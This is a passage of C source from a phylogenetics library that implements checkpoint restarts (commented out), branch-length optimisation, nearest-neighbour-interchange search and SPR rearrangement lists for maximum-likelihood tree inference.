void readTree(pllInstance *tr, partitionList *pr, FILE *f)\n{\n int \n nodeNumber, \n x = tr->mxtips + 3 * (tr->mxtips - 1);\n\n nodeptr\n startAddress;\n\n myfread(&nodeNumber, sizeof(int), 1, f);\n\n tr->start = tr->nodep[nodeNumber];\n\n\n myfread(&startAddress, sizeof(nodeptr), 1, f);\n\n myfread(tr->nodeBaseAddress, sizeof(node), x, f);\n\n {\n int i; \n\n size_t \n offset;\n\n pllBoolean \n addIt;\n\n if(startAddress > tr->nodeBaseAddress)\n {\n addIt = PLL_FALSE;\n offset = (size_t)startAddress - (size_t)tr->nodeBaseAddress;\n }\n else\n {\n addIt = PLL_TRUE;\n offset = (size_t)tr->nodeBaseAddress - (size_t)startAddress;\n } \n\n for(i = 0; i < x; i++)\n { \t\n if(addIt)\n {\t \n tr->nodeBaseAddress[i].next = (nodeptr)((size_t)tr->nodeBaseAddress[i].next + offset);\t\n tr->nodeBaseAddress[i].back = (nodeptr)((size_t)tr->nodeBaseAddress[i].back + offset);\n }\n else\n {\n\n tr->nodeBaseAddress[i].next = (nodeptr)((size_t)tr->nodeBaseAddress[i].next - offset);\t\n tr->nodeBaseAddress[i].back = (nodeptr)((size_t)tr->nodeBaseAddress[i].back - offset);\t \n } \n }\n\n }\n\n pllEvaluateLikelihood (tr, pr, tr->start, PLL_TRUE, PLL_FALSE);\n\n printBothOpen(\"RAxML Restart with likelihood: %1.50f\\n\", tr->likelihood);\n}\n\nstatic void readCheckpoint(pllInstance *tr, partitionList *pr)\n{\n int \n restartErrors = 0,\n model; \n\n FILE \n *f = myfopen(binaryCheckpointInputName, \"r\");\n*/\n /* cdta */ \n/*\n myfread(&(tr->ckp), sizeof(checkPointState), 1, f);\n\n\n\n if(tr->ckp.searchConvergenceCriterion != tr->searchConvergenceCriterion)\n {\n printf(\"restart error, you are trying to re-start a run where the ML search criterion was turned %s\\n\", (tr->ckp.searchConvergenceCriterion)?\"ON\":\"OFF\");\n restartErrors++;\n } \n\n if(tr->ckp.rateHetModel != tr->rateHetModel)\n {\n printf(\"restart error, you are trying to re-start a run with a different model of rate heterogeneity, the checkpoint was obtained under: %s\\n\", (tr->ckp.rateHetModel == PLL_GAMMA)?\"GAMMA\":\"PSR\");\n restartErrors++;\n } \n\n if(tr->ckp.maxCategories != tr->maxCategories)\n {\n printf(\"restart error, you are trying to re-start a run with %d per-site rate categories, the checkpoint was obtained with: %d\\n\", tr->maxCategories, tr->ckp.maxCategories);\n restartErrors++;\n }\n\n if(tr->ckp.NumberOfModels != pr->numberOfPartitions)\n {\n printf(\"restart error, you are trying to re-start a run with %d partitions, the checkpoint was obtained with: %d partitions\\n\", (int)pr->numberOfPartitions, tr->ckp.NumberOfModels);\n restartErrors++; \n }\n\n if(tr->ckp.numBranches != pr->perGeneBranchLengths?pr->numberOfPartitions:1)\n {\n printf(\"restart error, you are trying to re-start a run where independent per-site branch length estimates were turned %s\\n\", (tr->ckp.numBranches > 1)?\"ON\":\"OFF\");\n restartErrors++;\n }\n\n if(tr->ckp.originalCrunchedLength != tr->originalCrunchedLength)\n {\n printf(\"restart error, you are trying to re-start a run with %d site patterns, the checkpoint was obtained with: %d site patterns\\n\", tr->ckp.originalCrunchedLength, tr->originalCrunchedLength);\n restartErrors++; \n }\n\n if(tr->ckp.mxtips != tr->mxtips)\n {\n printf(\"restart error, you are trying to re-start a run with %d taxa, the checkpoint was obtained with: %d taxa\\n\", tr->mxtips, tr->ckp.mxtips);\n restartErrors++; \n }\n\n if(strcmp(tr->ckp.seq_file, seq_file) != 0)\n {\n printf(\"restart error, you are trying to re-start from alignemnt file %s, the checkpoint was obtained with file: %s\\n\", tr->ckp.seq_file, seq_file);\n restartErrors++; \n }\n\n printf(\"REstart errors: %d\\n\", restartErrors);\n\n if(restartErrors > 0)\n {\n printf(\"User induced errors with the restart from checkpoint, exiting ...\\n\");\n\n if(restartErrors > 4)\n printf(\" ... maybe you should do field work instead of trying to use a computer ...\\n\");\n if(restartErrors > 6)\n printf(\" ... kala eisai telios ilithios;\\n\");\n\n exit(-1);\n }\n\n tr->ntips = tr->mxtips;\n\n tr->startLH = tr->ckp.tr_startLH;\n tr->endLH = tr->ckp.tr_endLH;\n tr->likelihood = tr->ckp.tr_likelihood;\n tr->bestOfNode = tr->ckp.tr_bestOfNode;\n\n tr->lhCutoff = tr->ckp.tr_lhCutoff;\n tr->lhAVG = tr->ckp.tr_lhAVG;\n tr->lhDEC = tr->ckp.tr_lhDEC;\n tr->itCount = tr->ckp.tr_itCount;\n tr->thoroughInsertion = tr->ckp.tr_thoroughInsertion;\n\n\n\n accumulatedTime = tr->ckp.accumulatedTime;\n*/\n /* printf(\"Accumulated time so far: %f\\n\", accumulatedTime); */\n/*\n tr->optimizeRateCategoryInvocations = tr->ckp.tr_optimizeRateCategoryInvocations;\n\n\n myfread(tr->tree0, sizeof(char), tr->treeStringLength, f);\n myfread(tr->tree1, sizeof(char), tr->treeStringLength, f);\n\n if(tr->searchConvergenceCriterion)\n {\n int bCounter = 0;\n\n if((tr->ckp.state == PLL_FAST_SPRS && tr->ckp.fastIterations > 0) ||\n (tr->ckp.state == PLL_SLOW_SPRS && tr->ckp.thoroughIterations > 0))\n { \n\n#ifdef _DEBUG_CHECKPOINTING \n printf(\"parsing Tree 0\\n\");\n#endif\n\n treeReadTopologyString(tr->tree0, tr); \n\n bitVectorInitravSpecial(tr->bitVectors, tr->nodep[1]->back, tr->mxtips, tr->vLength, tr->h, 0, PLL_BIPARTITIONS_RF, (branchInfo *)NULL,\n &bCounter, 1, PLL_FALSE, PLL_FALSE, tr->threadID);\n\n assert(bCounter == tr->mxtips - 3);\n }\n\n bCounter = 0;\n\n if((tr->ckp.state == PLL_FAST_SPRS && tr->ckp.fastIterations > 1) ||\n (tr->ckp.state == PLL_SLOW_SPRS && tr->ckp.thoroughIterations > 1))\n {\n\n#ifdef _DEBUG_CHECKPOINTING\n printf(\"parsing Tree 1\\n\");\n#endif\n\n treeReadTopologyString(tr->tree1, tr); \n\n bitVectorInitravSpecial(tr->bitVectors, tr->nodep[1]->back, tr->mxtips, tr->vLength, tr->h, 1, PLL_BIPARTITIONS_RF, (branchInfo *)NULL,\n &bCounter, 1, PLL_FALSE, PLL_FALSE, tr->threadID);\n\n assert(bCounter == tr->mxtips - 3);\n }\n }\n\n myfread(tr->rateCategory, sizeof(int), tr->originalCrunchedLength, f);\n myfread(tr->patrat, sizeof(double), tr->originalCrunchedLength, f);\n myfread(tr->patratStored, sizeof(double), tr->originalCrunchedLength, f);\n\n*/\n /* need to read this as well in checkpoints, otherwise the branch lengths \n in the output tree files will be wrong, not the internal branch lengths though */\n/*\n //TODO: Same problem as writing the checkpoint\n //myfread(tr->fracchanges, sizeof(double), pr->numberOfPartitions, f);\n myfread(&(tr->fracchange), sizeof(double), 1, f);\n*/\n /* pInfo */\n/*\n for(model = 0; model < pr->numberOfPartitions; model++)\n {\n int \n dataType = pr->partitionData[model]->dataType;\n\n myfread(&(pr->partitionData[model]->numberOfCategories), sizeof(int), 1, f);\n myfread(pr->partitionData[model]->perSiteRates, sizeof(double), tr->maxCategories, f);\n myfread(pr->partitionData[model]->EIGN, sizeof(double), pLengths[dataType].eignLength, f);\n myfread(pr->partitionData[model]->EV, sizeof(double), pLengths[dataType].evLength, f);\n myfread(pr->partitionData[model]->EI, sizeof(double), pLengths[dataType].eiLength, f);\n\n myfread(pr->partitionData[model]->frequencies, sizeof(double), pLengths[dataType].frequenciesLength, f);\n myfread(pr->partitionData[model]->tipVector, sizeof(double), pLengths[dataType].tipVectorLength, f);\n myfread(pr->partitionData[model]->substRates, sizeof(double), pLengths[dataType].substRatesLength, f);\n myfread(&(pr->partitionData[model]->alpha), sizeof(double), 1, f);\n \n if(pr->partitionData[model]->protModels == PLL_LG4M || pr->partitionData[model]->protModels == PLL_LG4X)\n\t{\n\t int \n\t k;\n\t \n\t for(k = 0; k < 4; k++)\n\t {\n\t myfread(pr->partitionData[model]->EIGN_LG4[k], sizeof(double), pLengths[dataType].eignLength, f);\n\t myfread(pr->partitionData[model]->EV_LG4[k], sizeof(double), pLengths[dataType].evLength, f);\n\t myfread(pr->partitionData[model]->EI_LG4[k], sizeof(double), pLengths[dataType].eiLength, f); \n\t myfread(pr->partitionData[model]->frequencies_LG4[k], sizeof(double), pLengths[dataType].frequenciesLength, f);\n\t myfread(pr->partitionData[model]->tipVector_LG4[k], sizeof(double), pLengths[dataType].tipVectorLength, f); \n\t myfread(pr->partitionData[model]->substRates_LG4[k], sizeof(double), pLengths[dataType].substRatesLength, f); \n\t }\n\t}\n\n pllMakeGammaCats(pr->partitionData[model]->alpha, pr->partitionData[model]->gammaRates, 4, tr->useMedian);\n }\n\n#if (defined(_FINE_GRAIN_MPI) || defined(_USE_PTHREADS))\n pllMasterBarrier (tr, pr, PLL_THREAD_COPY_INIT_MODEL);\n#endif\n\n updatePerSiteRates(tr, pr, PLL_FALSE);\n\n readTree(tr, pr, f);\n\n fclose(f); \n\n}\n\nvoid restart(pllInstance *tr, partitionList *pr)\n{ \n readCheckpoint(tr, pr);\n\n switch(tr->ckp.state)\n {\n case PLL_REARR_SETTING: \n break;\n case PLL_FAST_SPRS:\n break;\n case PLL_SLOW_SPRS:\n break;\n default:\n assert(0);\n }\n}\n*/\n\n/* The number of maximum smoothing iterations is given explicitely */\n/** @brief Optimize branch lenghts and evaluate likelihood of topology\n \n Optimize the branch lengths \\a maxSmoothIterations times and evaluate\n the likelihood of tree. The resulting likelihood is placed in\n \\a tr->likelihood\n\n @param tr\n The PLL instance\n\n @param pr\n List of partitions\n\n @param maxSmoothIterations\n Number of times to optimize branch lengths\n*/\nvoid\npllOptimizeBranchLengths (pllInstance *tr, partitionList *pr, int maxSmoothIterations) /* Evaluate a user tree */\n{\n smoothTree(tr, pr, maxSmoothIterations); /* former (32 * smoothFactor) */\n\n pllEvaluateLikelihood (tr, pr, tr->start, PLL_FALSE, PLL_FALSE);\n}\n\n/** @brief Perform an NNI move\n\n Modify the tree topology of instance \\a tr by performing an NNI (Neighbour Neighbor\n Interchange) move at node \\a p. Let \\a q be \\a p->back. If \\a swap is set to \\b PLL_NNI_P_NEXT \n then the subtrees rooted at \\a p->next->back and \\a q->next->back will be swapped. Otherwise,\n if \\a swap is set to \\b PLL_NNI_P_NEXTNEXT then the subtrees rooted at \\a p->next->next->back and\n \\a q->next->back are swapped. For clarity, see the illustration.\n\n @param tr\n PLL instance\n\n @param p\n Node to use as origin for performing NNI\n\n @param swap\n Which node to use for the NNI move. \\b PLL_NNI_P_NEXT uses node p->next while \\b PLL_NNI_P_NEXTNEXT uses p->next->next\n\n @return\n In case of success \\b PLL_TRUE, otherwise \\b PLL_FALSE\n\n @todo\n Started error checking here. Instead of checking the errors in the specified way, implement a variadic\n function where we pass the results of each check and the error code we want to assign if there is at\n least one negative result\n\n @image html nni.png \"In case \\a swap is set to \\b PLL_NNI_P_NEXT then the dashed red edge between \\a p and \\a r is removed and the blue edges are created. If \\a swap is set to \\b PLL_INIT_P_NEXTNEXT then the dashed red edge between \\a p and \\a s is removed and the green edges are created. In both cases the black dashed edge is removed\"\n*/\nint pllTopologyPerformNNI(pllInstance * tr, nodeptr p, int swap)\n{\n nodeptr q, r;\n\n q = p->back;\n if (isTip(q->number, tr->mxtips))\n {\n errno = PLL_NNI_Q_TIP;\n return (PLL_FALSE);\n }\n if (isTip(p->number, tr->mxtips))\n {\n errno = PLL_NNI_P_TIP;\n return (PLL_FALSE);\n }\n assert(!isTip(q->number, tr->mxtips));\n assert(!isTip(p->number, tr->mxtips));\n\n\n if(swap == PLL_NNI_P_NEXT)\n {\n r = p->next->back;\n hookupFull(p->next, q->next->back, q->next->z);\n hookupFull(q->next, r, p->next->z);\n }\n else\n {\n r = p->next->next->back;\n hookupFull(p->next->next, q->next->back, q->next->z);\n hookupFull(q->next, r, p->next->next->z);\n }\n\n return PLL_TRUE;\n}\n\n/** @brief Compares 2 NNI moves */\nstatic int cmp_nni(const void* nni1, const void* nni2) {\n\tnniMove* myNNI1 = (nniMove*) nni1;\n\tnniMove* myNNI2 = (nniMove*) nni2;\n\treturn (int) (1000000.f * myNNI1->deltaLH - 1000000.f * myNNI2->deltaLH);\n}\n\n/** @brief Gets the best NNI move for a branch\n\n @param tr\n PLL instance\n\n @param pr\n List of partitions\n\n @param p\n Node to use as origin for performing NNI\n\n @param curLH\n The current likelihood\n\n @return\n The best NNI move\n\n*/\nnniMove getBestNNIForBran(pllInstance* tr, partitionList *pr, nodeptr p,\n\t\tdouble curLH) {\n\tnodeptr q = p->back;\n\tassert( ! isTip(p->number, tr->mxtips));\n\tassert( ! isTip(q->number, tr->mxtips));\n#ifdef _DEBUG_NNI\n\tpllTreeToNewick(tr->tree_string, tr, tr->start->back, TRUE, FALSE, 0, 0, 0, SUMMARIZE_LH, 0,0);\n\tfprintf(stderr, \"%s\\n\", tr->tree_string);\n#endif\n\n\t/* Backup the current branch length */\n\tdouble z0[PLL_NUM_BRANCHES];\n\tint i;\n\tfor (i = 0; i < pr->numberOfPartitions; i++) {\n\t\tz0[i] = p->z[i];\n\t}\n#ifdef _DEBUG_NNI\n\tdouble lhOld = tr->likelihood;\n\tprintf(\"lhOld: %f \\n\", lhOld);\n#endif\n\tdouble lh0 = curLH;\n\n\n#ifdef _DEBUG_NNI\n\tprintf(\"lh0: %f \\n\", lh0);\n#endif\n\tnniMove nni0; // nni0 means no NNI move is done\n\tnni0.p = p;\n\tnni0.nniType = 0;\n\tnni0.deltaLH = 0;\n\tfor (i = 0; i < pr->numberOfPartitions; i++) {\n\t\tnni0.z[i] = p->z[i];\n\t}\n\n\t/* Save the scaling factor */\n\t// Now try to do an NNI move of type 1\n\tpllTopologyPerformNNI(tr, p, PLL_NNI_P_NEXT);\n\tdouble lh1 = tr->likelihood;\n\t/* Update branch lengths */\n\tpllUpdatePartials(tr, pr, p, PLL_FALSE);\n\tpllUpdatePartials(tr, pr, q, PLL_FALSE);\n\tupdate(tr, pr, p);\n\tpllEvaluateLikelihood (tr, pr, p, PLL_FALSE, PLL_FALSE);\n\n\tnniMove nni1;\n\tnni1.p = p;\n\tnni1.nniType = 1;\n\t// Store the optimized und unoptimized central branch length\n\tfor (i = 0; i < pr->numberOfPartitions; i++) {\n\t\tnni1.z[i] = p->z[i];\n\t\tnni1.z0[i] = z0[i];\n\t}\n\tnni1.likelihood = lh1;\n\tnni1.deltaLH = lh1 - lh0;\n#ifdef _DEBUG_NNI\n\tprintf(\"Delta likelihood of the 1.NNI move: %f\\n\", nni1.deltaLH);\n#endif\n\n\t/* Restore previous NNI move */\n\tpllTopologyPerformNNI(tr, p, PLL_NNI_P_NEXT);\n\t/* Restore the old branch length */\n\tfor (i = 0; i < pr->numberOfPartitions; i++) {\n\t\tp->z[i] = z0[i];\n\t\tp->back->z[i] = z0[i];\n\t}\n\n#ifdef _DEBUG_NNI\n\tprintf(\"Restore topology\\n\");\n\tpllTreeToNewick(tr->tree_string, tr, tr->start->back, TRUE, FALSE, 0, 0, 0, SUMMARIZE_LH, 0,0);\n\tfprintf(stderr, \"%s\\n\", tr->tree_string);\n\tpllEvaluateLikelihood (tr, tr->start, TRUE);\n\tprintf(\"Likelihood after restoring from NNI 1: %f\\n\", tr->likelihood);\n#endif\n\t/* Try to do an NNI move of type 2 */\n\tpllTopologyPerformNNI(tr, p, 2);\n\tdouble lh2 = tr->likelihood;\n\t/* Update branch lengths */\n\tpllUpdatePartials(tr, pr, p, PLL_FALSE);\n\tpllUpdatePartials(tr, pr, q, PLL_FALSE);\n\tupdate(tr, pr, p);\n\tpllEvaluateLikelihood (tr, pr, p, PLL_FALSE, PLL_FALSE);\n\n\t// Create the nniMove struct to store this move\n\tnniMove nni2;\n\tnni2.p = p;\n\tnni2.nniType = 2;\n\n\t// Store the optimized and unoptimized central branch length\n\tfor (i = 0; i < pr->numberOfPartitions; i++) {\n\t\tnni2.z[i] = p->z[i];\n\t\tnni2.z0[i] = z0[i];\n\t}\n\tnni2.likelihood = lh2;\n\tnni2.deltaLH = lh2 - lh0;\n#ifdef _DEBUG_NNI\n\tprintf(\"Delta likelihood of the 2.NNI move: %f\\n\", nni2.deltaLH);\n#endif\n\n\t/* Restore previous NNI move */\n\tpllTopologyPerformNNI(tr, p, 2);\n\tpllUpdatePartials(tr, pr, p, PLL_FALSE);\n\tpllUpdatePartials(tr, pr, p->back, PLL_FALSE);\n\t/* Restore the old branch length */\n\tfor (i = 0; i < pr->numberOfPartitions; i++) {\n\t\tp->z[i] = z0[i];\n\t\tp->back->z[i] = z0[i];\n\t}\n\tif (nni1.deltaLH > 0 && nni1.deltaLH >= nni2.deltaLH) {\n\t\treturn nni1;\n\t} else if (nni1.deltaLH > 0 && nni1.deltaLH < nni2.deltaLH) {\n\t\treturn nni2;\n\t} else if (nni1.deltaLH < 0 && nni2.deltaLH > 0) {\n\t\treturn nni2;\n\t} else {\n\t\treturn nni0;\n\t}\n}\n\n/** @brief ??? Not sure */\nvoid evalNNIForSubtree(pllInstance* tr, partitionList *pr, nodeptr p,\n\t\tnniMove* nniList, int* cnt, int* cnt_nni, double curLH) {\n\tif (!isTip(p->number, tr->mxtips)) {\n\t\tnniList[*cnt] = getBestNNIForBran(tr, pr, p, curLH);\n\t\tif (nniList[*cnt].deltaLH != 0.0) {\n\t\t\t*cnt_nni = *cnt_nni + 1;\n\t\t}\n\t\t*cnt = *cnt + 1;\n\t\tnodeptr q = p->next;\n\t\twhile (q != p) {\n\t\t\tevalNNIForSubtree(tr, pr, q->back, nniList, cnt, cnt_nni, curLH);\n\t\t\tq = q->next;\n\t\t}\n\t}\n}\n\n/** @brief Perform an NNI search\n\n Modify the tree topology of instance and model parameters \\a tr by performing a NNI (Neighbour Neighbor\n Interchange) moves \\a p.\n\n @param tr\n PLL instance\n\n @param pr\n List of partitions\n\n @param estimateModel\n Determine wheter the model parameters should be optimized\n\n @return\n In case of success \\b PLL_TRUE, otherwise \\b PLL_FALSE\n\n*/\nint pllNniSearch(pllInstance * tr, partitionList *pr, int estimateModel) {\n\n\tdouble curScore = tr->likelihood;\n\n\t/* Initialize the NNI list */\n\tnniMove* nniList = (nniMove*) malloc((tr->mxtips - 3) * sizeof(nniMove));\n\tint i;\n\t/* fill up the NNI list */\n\tnodeptr p = tr->start->back;\n\tnodeptr q = p->next;\n\tint cnt = 0; // number of visited internal branches during NNI evaluation\n\tint cnt_nni = 0; // number of positive NNI found\n\twhile (q != p) {\n\t\tevalNNIForSubtree(tr, pr, q->back, nniList, &cnt, &cnt_nni, curScore);\n\t\tq = q->next;\n\t}\n\tif (cnt_nni == 0)\n\t\treturn 0.0;\n\n\tnniMove* impNNIList = (nniMove*) malloc(cnt_nni * sizeof(nniMove));\n\tint j = 0;\n\tfor (i = 0; i < tr->mxtips - 3; i++) {\n\t\tif (nniList[i].deltaLH > 0.0) {\n\t\t\timpNNIList[j] = nniList[i];\n\t\t\tj++;\n\t\t}\n\t}\n\t// sort impNNIList\n\tqsort(impNNIList, cnt_nni, sizeof(nniMove), cmp_nni);\n\n\t// creating a list of non-conflicting positive NNI\n\tnniMove* nonConfNNIList = (nniMove*) calloc(cnt_nni, sizeof(nniMove));\n\n\t// the best NNI will always be taken\n\tnonConfNNIList[0] = impNNIList[cnt_nni - 1];\n\n\t// Filter out conflicting NNI\n\tint numNonConflictNNI = 1; // size of the non-conflicting NNI list;\n\tint k;\n\tfor (k = cnt_nni - 2; k >= 0; k--) {\n\t\tint conflict = PLL_FALSE;\n\t\tint j;\n\t\tfor (j = 0; j < numNonConflictNNI; j++) {\n\t\t\tif (impNNIList[k].p->number == nonConfNNIList[j].p->number\n\t\t\t\t\t|| impNNIList[k].p->number\n\t\t\t\t\t\t\t== nonConfNNIList[j].p->back->number) {\n\t\t\t\tconflict = PLL_TRUE;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (conflict) {\n\t\t\tcontinue;\n\t\t} else {\n\t\t\tnonConfNNIList[numNonConflictNNI] = impNNIList[k];\n\t\t\tnumNonConflictNNI++;\n\t\t}\n\t}\n\n\t// Applying non-conflicting NNI moves\n\tdouble delta = 1.0; // portion of NNI moves to apply\n\tint notImproved;\n\tdo {\n\t\tnotImproved = PLL_FALSE;\n\t\tint numNNI2Apply = ceil(numNonConflictNNI * delta);\n\t\tfor (i = 0; i < numNNI2Apply; i++) {\n\t\t\t// Just do the topological change\n\t\t\tpllTopologyPerformNNI(tr, nonConfNNIList[i].p, nonConfNNIList[i].nniType);\n\t\t\tpllUpdatePartials(tr, pr, nonConfNNIList[i].p, PLL_FALSE);\n\t\t\tpllUpdatePartials(tr, pr, nonConfNNIList[i].p->back, PLL_FALSE);\n\t\t\t// Apply the store branch length\n\t\t\tint j;\n\t\t\tfor (j = 0; j < pr->numberOfPartitions; j++) {\n\t\t\t\tnonConfNNIList[i].p->z[j] = nonConfNNIList[i].z[j];\n\t\t\t\tnonConfNNIList[i].p->back->z[j] = nonConfNNIList[i].z[j];\n\t\t\t}\n\t\t}\n\t\t// Re-optimize all branches\n\t\tsmoothTree(tr, pr, 2);\n\t\tpllEvaluateLikelihood (tr, pr, tr->start, PLL_FALSE, PLL_FALSE);\n\t\tif (estimateModel) {\n\t\t\tmodOpt(tr, pr, 0.1);\n\t\t}\n\t\tpllEvaluateLikelihood (tr, pr, tr->start, PLL_FALSE, PLL_FALSE);\n\t\tif (tr->likelihood < curScore) {\n#ifdef _DEBUG_NNI\n\t\t\tprintf(\"Tree likelihood gets worse after applying NNI\\n\");\n\t\t\tprintf(\"curScore = %30.20f\\n\", curScore);\n\t\t\tprintf(\"newScore = %30.20f\\n\", tr->likelihood);\n\t\t\tprintf(\"Rolling back the tree\\n\");\n#endif\n\t\t\tfor (i = 0; i < numNNI2Apply; i++) {\n\t\t\t\tpllTopologyPerformNNI(tr, nonConfNNIList[i].p, nonConfNNIList[i].nniType);\n\t\t\t\t// Restore the branch length\n\t\t\t\tint j;\n\t\t\t\tfor (j = 0; j < pr->numberOfPartitions; j++) {\n\t\t\t\t\tnonConfNNIList[i].p->z[j] = nonConfNNIList[i].z0[j];\n\t\t\t\t\tnonConfNNIList[i].p->back->z[j] = nonConfNNIList[i].z0[j];\n\t\t\t\t}\n\t\t\t}\n\t\t\tpllEvaluateLikelihood (tr, pr, tr->start, PLL_FALSE, PLL_FALSE);\n#ifdef _DEBUG_NNI\n\t\t\tprintf(\"Tree likelihood after rolling back = %f \\n\",\n\t\t\t\t\ttr->likelihood);\n#endif\n\t\t\tnotImproved = PLL_TRUE & (numNNI2Apply > 1);\n\t\t\tdelta = delta * 0.5;\n\t\t}\n\t} while (notImproved);\n\tfree(nniList);\n\tfree(impNNIList);\n\tfree(nonConfNNIList);\n\n\treturn PLL_TRUE;\n}\n\n\n/** @defgroup rearrangementGroup Topological rearrangements\n \n This set of functions handles the rearrangement of the tree topology\n*/\n\n\n/** @ingroup rearrangementGroup\n @brief Create a list for storing topology rearrangements\n \n Allocates space and initializes a structure that will hold information\n of \\a max topological rearrangements\n\n @param max\n Maximum number of elements that the structure should hold\n \n @note This should be called for creating a storage space (list) for\n routines such as ::pllRearrangeSearch which compute the best NNI/PR/TBR rearrangements.\n*/\npllRearrangeList * pllCreateRearrangeList (int max)\n{\n pllRearrangeList * bl;\n\n bl = (pllRearrangeList *) malloc (sizeof (pllRearrangeList));\n\n bl->max_entries = max;\n bl->entries = 0;\n bl->rearr = (pllRearrangeInfo *) malloc (max * sizeof (pllRearrangeInfo));\n\n return bl;\n}\n\n/** @ingroup rearrangementGroup\n @brief Deallocator for topology rearrangements list\n \n Call this to destroy (deallocate) the memory taken by the \\a bestList which holds\n topological rearrangements\n\n @param bestList\n Pointer to the list to be deallocated\n*/\nvoid pllDestroyRearrangeList (pllRearrangeList ** bestList)\n{\n pllRearrangeList * bl;\n\n bl = *bestList;\n\n rax_free (bl->rearr);\n rax_free (bl);\n\n *bestList = NULL;\n}\n\n\n/** @ingroup rearrangementGroup\n @brief Store a rearrangement move to the list of best rearrangement moves\n\n Checks if the likelihood yielded by the rearrangement move described in \\a rearr\n is better than any in the sorted list \\a bestList. If it is, or\n if there is still space in \\a bestList, the info about the\n move is inserted in the list.\n\n @param bestList\n The list of information about the best rearrangement moves\n\n @param rearr\n Info about the current rearrangement move\n\n @return\n Returns \\b PLL_FALSE if the rearrangement move doesn't make it in the list, otherwise \\b PLL_TRUE\n*/\nstatic int pllStoreRearrangement (pllRearrangeList * bestList, pllRearrangeInfo * rearr)\n {\n /* naive implementation of saving rearrangement moves */\n int i;\n\n for (i = 0; i < bestList->entries; ++ i)\n {\n /* Does the new rearrangement yield a better likelihood that the current in the list */\n if (rearr->likelihood > bestList->rearr[i].likelihood)\n {\n /* is there enough space in the array ? */\n if (bestList->entries < bestList->max_entries)\n {\n /* slide the entries to the right and overwrite the i-th element with the new item */\n memmove (&(bestList->rearr[i + 1]), &(bestList->rearr[i]), (bestList->entries - i ) * sizeof (pllRearrangeInfo));\n ++ bestList->entries;\n }\n else\n {\n memmove (&(bestList->rearr[i + 1]), &(bestList->rearr[i]), (bestList->entries - i - 1 ) * sizeof (pllRearrangeInfo));\n }\n memcpy (&(bestList->rearr[i]), rearr, sizeof (pllRearrangeInfo));\n return (PLL_TRUE);\n }\n }\n if (bestList->entries < bestList->max_entries)\n {\n memcpy (&(bestList->rearr[bestList->entries]), rearr, sizeof (pllRearrangeInfo));\n ++ bestList->entries;\n return (PLL_TRUE);\n }\n\n return (PLL_FALSE);\n }\n\n/** @ingroup rearrangementGroup\n @brief Internal function for testing and saving an SPR move\n \n Checks the likelihood of the placement of the pruned subtree specified by \\a p\n to node \\a q. If the likelihood is better than some in the sorted list \n \\a bestList, or if there is still free space in \\a bestList, then the SPR \n move is recorded (in \\a bestList)\n\n @param tr\n PLL instance\n\n @param pr\n List of partitions\n\n @param p\n Root of the subtree that is to be pruned\n\n @param q\n Where to place the pruned subtree (between \\a q and \\a q->back\n\n @param bestList\n Where to store the SPR move\n\n @note Internal function which is not part of the PLL API and therefore should not be\n called by the user\n\n @return\n*/\nstatic int\npllTestInsertBIG (pllInstance * tr, partitionList * pr, nodeptr p, nodeptr q, pllRearrangeList * bestList)\n{\n int numBranches = pr->perGeneBranchLengths?pr->numberOfPartitions:1;\n pllRearrangeInfo rearr;\n\n double qz[PLL_NUM_BRANCHES], pz[PLL_NUM_BRANCHES];\n nodeptr r;\n //double startLH = tr->endLH;\n int i;\n\n r = q->back; \n for(i = 0; i < numBranches; i++)\n {\n qz[i] = q->z[i];\n pz[i] = p->z[i];\n }\n\n if (! insertBIG(tr, pr, p, q)) return PLL_FALSE;\n\n pllEvaluateLikelihood (tr, pr, p->next->next, PLL_FALSE, PLL_FALSE);\n \n rearr.rearrangeType = PLL_REARRANGE_SPR;\n rearr.likelihood = tr->likelihood;\n rearr.SPR.removeNode = p;\n rearr.SPR.insertNode = q;\n for (i = 0; i < numBranches; ++ i)\n {\n rearr.SPR.zqr[i] = tr->zqr[i];\n }\n\n pllStoreRearrangement (bestList, &rearr);\n\n/*\n if(tr->likelihood > tr->bestOfNode)\n {\n pllStoreRearrangement (bestList, rearr)\n tr->bestOfNode = tr->likelihood;\n tr->insertNode = q;\n tr->removeNode = p; \n for(i = 0; i < numBranches; i++)\n {\n tr->currentZQR[i] = tr->zqr[i]; \n tr->currentLZR[i] = tr->lzr[i];\n tr->currentLZQ[i] = tr->lzq[i];\n tr->currentLZS[i] = tr->lzs[i]; \n }\n }\n\n if(tr->likelihood > tr->endLH)\n {\t\t\t \n \n tr->insertNode = q;\n tr->removeNode = p; \n for(i = 0; i < numBranches; i++)\n tr->currentZQR[i] = tr->zqr[i]; \n tr->endLH = tr->likelihood; \n } \n*/\n /* reset the topology so that it is the same as it was before calling insertBIG */\n hookup(q, r, qz, numBranches);\n\n p->next->next->back = p->next->back = (nodeptr) NULL;\n\n if(tr->thoroughInsertion)\n {\n nodeptr s = p->back;\n hookup(p, s, pz, numBranches);\n } \n\n/*\n if((tr->doCutoff) && (tr->likelihood < startLH))\n {\n tr->lhAVG += (startLH - tr->likelihood);\n tr->lhDEC++;\n if((startLH - tr->likelihood) >= tr->lhCutoff)\n return PLL_FALSE;\t \n else\n return PLL_TRUE;\n }\n else\n return PLL_TRUE;\n */\n return (PLL_TRUE);\n}\n\n/** @ingroup rearrangementGroup\n @brief Internal function for recursively traversing a tree and testing a possible subtree insertion\n\n Recursively traverses the tree rooted at \\a q in the direction of \\a q->next->back and \\a q->next->next->back\n and at each node tests the placement of the pruned subtree rooted at \\a p by calling the function\n \\a pllTestInsertBIG, which in turn saves the computed SPR in \\a bestList if a) there is still space in\n the \\a bestList or b) if the likelihood of the SPR is better than any of the ones in \\a bestList.\n\n @note This function is not part of the API and should not be called by the user.\n*/\nstatic void pllTraverseUpdate (pllInstance *tr, partitionList *pr, nodeptr p, nodeptr q, int mintrav, int maxtrav, pllRearrangeList * bestList)\n{ \n if (--mintrav <= 0) \n { \n if (! pllTestInsertBIG(tr, pr, p, q, bestList)) return;\n\n }\n\n if ((!isTip(q->number, tr->mxtips)) && (--maxtrav > 0)) \n { \n pllTraverseUpdate(tr, pr, p, q->next->back, mintrav, maxtrav, bestList);\n pllTraverseUpdate(tr, pr, p, q->next->next->back, mintrav, maxtrav, bestList);\n }\n} \n\n\n/** @ingroup rearrangementGroup\n @brief Internal function for computing SPR moves\n\n Compute a list of at most \\a max SPR moves that can be performed by pruning\n the subtree rooted at node \\a p and testing all possible placements in a\n radius of at least \\a mintrav nodes and at most \\a maxtrav nodes from \\a p.\n Note that \\a tr->thoroughInsertion affects the behaviour of the function (see note).\n\n @param tr\n PLL instance\n\n @param pr\n List of 